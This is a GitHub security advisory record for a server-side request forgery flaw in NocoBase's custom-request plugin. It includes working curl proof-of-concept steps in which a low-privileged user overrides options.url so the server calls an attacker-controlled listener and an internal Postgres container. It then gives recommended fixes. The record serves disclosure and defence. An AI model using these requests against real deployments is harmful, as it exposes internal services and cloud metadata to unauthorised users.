{"id":"GHSA-wrr5-j383-f7h2","summary":"NocoBase: @nocobase/plugin-action-custom-request allows server-side request forgery through runtime URL overrides","details":"### Summary\n\nA Server-Side Request Forgery vulnerability exists in NocoBase v2.1.10 in the `@nocobase/plugin-action-custom-request` plugin.\n\nA low-privileged authenticated user can call the `customRequests:send` endpoint and override the stored request URL at runtime using `options.url`. This causes the NocoBase server to perform outbound HTTP requests to attacker-controlled or internal URLs.\n\n* Product: NocoBase\n* Version: v2.1.10\n* Component: `@nocobase/plugin-action-custom-request`\n* Severity: Moderate\n* Required privilege: authenticated low-privileged user / member\n\nTesting was performed only in a local Docker lab environment at `http://127.0.0.1:13000`. No public NocoBase instance was tested.\n\nLab environment:\n\n* Docker image: `nocobase/nocobase:latest-full`\n* Commit: `23e2bd35625439594e4757bac31d57c9e8e695b9`\n* Database: PostgreSQL 16\n* Containers: `nocobase-lab`, `nocobase-postgres`\n* Docker network: `172.19.0.0/16`\n* Important environment variable: `SERVER_REQUEST_WHITELIST` was not set\n\n---\n\n### Details\n\nThe vulnerable endpoint is:\n\n```http\nPOST /api/customRequests:send?filterByTk=\u003ckey\u003e\n```\n\nThe `customRequests:send` action is allowed for any logged-in user:\n\n```ts\n// plugin-action-custom-request/src/server/plugin.ts\nthis.app.acl.allow('customRequests', ['send', 'listByCurrentRole'], 'loggedIn');\n```\n\nThe request options supplied at runtime are merged into the stored request configuration. This allows a low-privileged user to override the stored URL:\n\n```ts\n// plugin-action-custom-request/src/server/actions/send.ts\nconst mergedOptions = {\n  ...(requestConfig.options || {}),\n  ...omitNullAndUndefined(runtimeOptions || {}),\n};\n\nconst { url, ...options } = mergedOptions;\n```\n\nThe URL is therefore attacker-controlled when the low-privileged user sends a request body such as:\n\n```json\n{\n  \"options\": {\n    \"url\": \"http://attacker-controlled-host:18080/ssrf-proof\",\n    \"method\": \"GET\"\n  }\n}\n```\n\nIf `SERVER_REQUEST_WHITELIST` is not configured, the server-side request whitelist check is bypassed:\n\n```ts\n// packages/core/utils/src/server-request.ts\nconst whitelist = process.env.SERVER_REQUEST_WHITELIST;\n\nif (!whitelist || !whitelist.trim()) return;\n```\n\nAs a result, a low-privileged authenticated user can force the NocoBase server to make arbitrary outbound HTTP requests.\n\n---\n\n### PoC\n\n#### Step 1: Admin creates a valid Custom Request config\n\nFirst, an administrator creates a valid Custom Request config. This is a setup step only.\n\n```bash\nBASE=\"http://127.0.0.1:13000\"\n\ncurl -i -s -X POST \"$BASE/api/customRequests:create\" \\\n  -H \"Authorization: Bearer \u003cADMIN_TOKEN\u003e\" \\\n  -H \"Content-Type: application/json\" \\\n  --data '{\n    \"key\": \"report-ssrf-demo\",\n    \"options\": {\n      \"url\": \"https://www.example.com/\",\n      \"method\": \"GET\"\n    }\n  }'\n```\n\nExpected result:\n\n```http\nHTTP/1.1 200 OK\n```\n\nIf the key already exists, this setup step can be skipped.\n\nEvidence:\n\n\u003cimg width=\"1467\" height=\"619\" alt=\"Admin creates Custom Request config\" src=\"https://github.com/user-attachments/assets/77804709-ac83-479b-a99a-e1da531bb6d6\" /\u003e\n\n---\n\n#### Step 2: Start an attacker-controlled HTTP listener\n\nOn the attacker-controlled host in the local lab:\n\n```bash\nmkdir -p /tmp/ssrf-poc\ncd /tmp/ssrf-poc\necho \"SSRF OK - request came from NocoBase server\" \u003e ssrf-proof\npython3 -m http.server 18080 --bind 0.0.0.0\n```\n\nExample attacker host IP in the local lab:\n\n```text\n192.168.1.139\n```\n\nEvidence:\n\n\u003cimg width=\"888\" height=\"195\" alt=\"image\" src=\"https://github.com/user-attachments/assets/8360b4cc-c00d-42ae-a9e8-09125b126e89\" /\u003e\n\n---\n\n#### Step 3: Low-privileged user triggers SSRF by overriding options.url\n\nThe low-privileged user calls `customRequests:send` and overrides `options.url` at runtime:\n\n```bash\nBASE=\"http://127.0.0.1:13000\"\nKALI_IP=\"192.168.1.139\"\n\ncurl -i -s -X POST \"$BASE/api/customRequests:send?filterByTk=report-ssrf-demo\" \\\n  -H \"Authorization: Bearer \u003cLOWPRIV_TOKEN\u003e\" \\\n  -H \"Content-Type: application/json\" \\\n  --data \"{\n    \\\"options\\\": {\n      \\\"url\\\": \\\"http://$KALI_IP:18080/ssrf-proof\\\",\n      \\\"method\\\": \\\"GET\\\"\n    }\n  }\"\n```\n\nExpected response:\n\n```http\nHTTP/1.1 200 OK\n\nSSRF OK - request came from NocoBase server\n```\n\nEvidence:\n\n\u003cimg width=\"959\" height=\"570\" alt=\"Low-privileged user triggers SSRF\" src=\"https://github.com/user-attachments/assets/100ec9b5-005b-4322-90a7-f5018bf2ab77\" /\u003e\n\n---\n\n#### Step 4: Attacker-controlled listener receives the server-side request\n\nThe attacker-controlled HTTP listener receives:\n\n```text\nGET /ssrf-proof HTTP/1.1\n```\n\nThis proves that the HTTP request was made by the NocoBase server as a result of the low-privileged user's API request.\n\nEvidence:\n\n\u003cimg width=\"744\" height=\"206\" alt=\"Listener receives GET /ssrf-proof\" src=\"https://github.com/user-attachments/assets/c26f89d4-88b4-46c2-a2fa-722e64899051\" /\u003e\n\n---\n\n#### Step 5: Internal service reachability test\n\nThe same low-privileged user can target an internal Docker service:\n\n```bash\ncurl -i -s -X POST \"$BASE/api/customRequests:send?filterByTk=report-ssrf-demo\" \\\n  -H \"Authorization: Bearer \u003cLOWPRIV_TOKEN\u003e\" \\\n  -H \"Content-Type: application/json\" \\\n  --data '{\n    \"options\": {\n      \"url\": \"http://nocobase-postgres:5432/\",\n      \"method\": \"GET\"\n    }\n  }'\n```\n\nObserved response:\n\n```json\n{\"message\":\"socket hang up\"}\n```\n\nThis indicates that the NocoBase server attempted to connect to the internal PostgreSQL container. PostgreSQL does not speak HTTP, so the connection is closed, but the internal reachability is confirmed.\n\n---\n\n### Impact\n\nA low-privileged authenticated user can force the NocoBase server to perform arbitrary outbound HTTP requests.\n\nPotential impact includes:\n\n* internal service enumeration\n* access to services only reachable from the server-side network\n* Docker host gateway reachability testing\n* reading responses from internal HTTP services when response bodies are returned\n* potential access to cloud metadata endpoints in cloud deployments if not otherwise blocked\n* use of the NocoBase server as a trusted network proxy\n\nConfirmed in the local lab:\n\n* attacker-controlled HTTP listener received a request from the NocoBase server\n* internal PostgreSQL container `nocobase-postgres:5432` was reachable\n* Docker host gateway reachability was confirmed\n\nThis can expose internal-only services to low-privileged users and can become more severe in cloud or production deployments where internal APIs, metadata services, or trusted network services are reachable from the NocoBase server.\n\n---\n\n### Recommended Fix\n\n1. Restrict `customRequests:send` to administrators or specifically authorized roles.\n\n```diff\n- this.app.acl.allow('customRequests', ['send'], 'loggedIn');\n+ this.app.acl.allow('customRequests', ['send'], 'admin');\n```\n\n2. Do not allow low-privileged users to override stored request URLs at runtime.\n\n3. Require `SERVER_REQUEST_WHITELIST` by default in production Docker images.\n\n4. Block private/internal IP ranges by default, including:\n\n```text\n127.0.0.0/8\n10.0.0.0/8\n172.16.0.0/12\n192.168.0.0/16\n169.254.0.0/16\n::1/128\nfc00::/7\n```\n\n5. Resolve DNS and validate the final resolved IP address before making the outbound request.\n\n6. Revalidate the target after redirects.\n\n7. Add SSRF regression tests for:\n\n```text\nlocalhost\n127.0.0.1\nDocker service names\nprivate IP ranges\nDocker gateway IP\n169.254.169.254\nredirects to private IP ranges\n```","aliases":["CVE-2026-79914"],"modified":"2026-11-10T19:30:04.560678264Z","published":"2026-11-10T19:20:14Z","database_specific":{"cwe_ids":["CWE-918"],"severity":"MODERATE","github_reviewed":true,"github_reviewed_at":"2026-11-10T19:20:14Z","nvd_published_at":"2026-11-10T18:17:48Z"},"references":[{"type":"WEB","url":"https://github.com/nocobase/nocobase/security/advisories/GHSA-wrr5-j383-f7h2"},{"type":"WEB","url":"https://github.com/nocobase/nocobase/pull/8749"},{"type":"WEB","url":"https://github.com/nocobase/nocobase/pull/9904"},{"type":"WEB","url":"https://github.com/nocobase/nocobase/commit/037dade8592fbab4324107285463f92b45aaa2ff"},{"type":"WEB","url":"https://github.com/nocobase/nocobase/commit/1fc226a22d2ec1de1adf1230367c858b4363ec3b"},{"type":"PACKAGE","url":"https://github.com/nocobase/nocobase"},{"type":"WEB","url":"https://github.com/nocobase/nocobase/releases/tag/v2.1.15"},{"type":"WEB","url":"https://github.com/nocobase/nocobase/releases/tag/v2.2.0-alpha.4"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/cve-2026-79914"}],"affected":[{"package":{"name":"@nocobase/plugin-action-custom-request","ecosystem":"npm","purl":"pkg:npm/%40nocobase/plugin-action-custom-request"},"ranges":[{"type":"SEMVER","events":[{"introduced":"2.1.0-alpha.8"},{"fixed":"2.1.15"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-wrr5-j383-f7h2/GHSA-wrr5-j383-f7h2.json"}},{"package":{"name":"@nocobase/plugin-action-custom-request","ecosystem":"npm","purl":"pkg:npm/%40nocobase/plugin-action-custom-request"},"ranges":[{"type":"SEMVER","events":[{"introduced":"2.2.0-alpha.1"},{"fixed":"2.2.0-alpha.4"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-wrr5-j383-f7h2/GHSA-wrr5-j383-f7h2.json"}}],"schema_version":"1.9.2","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N"}]}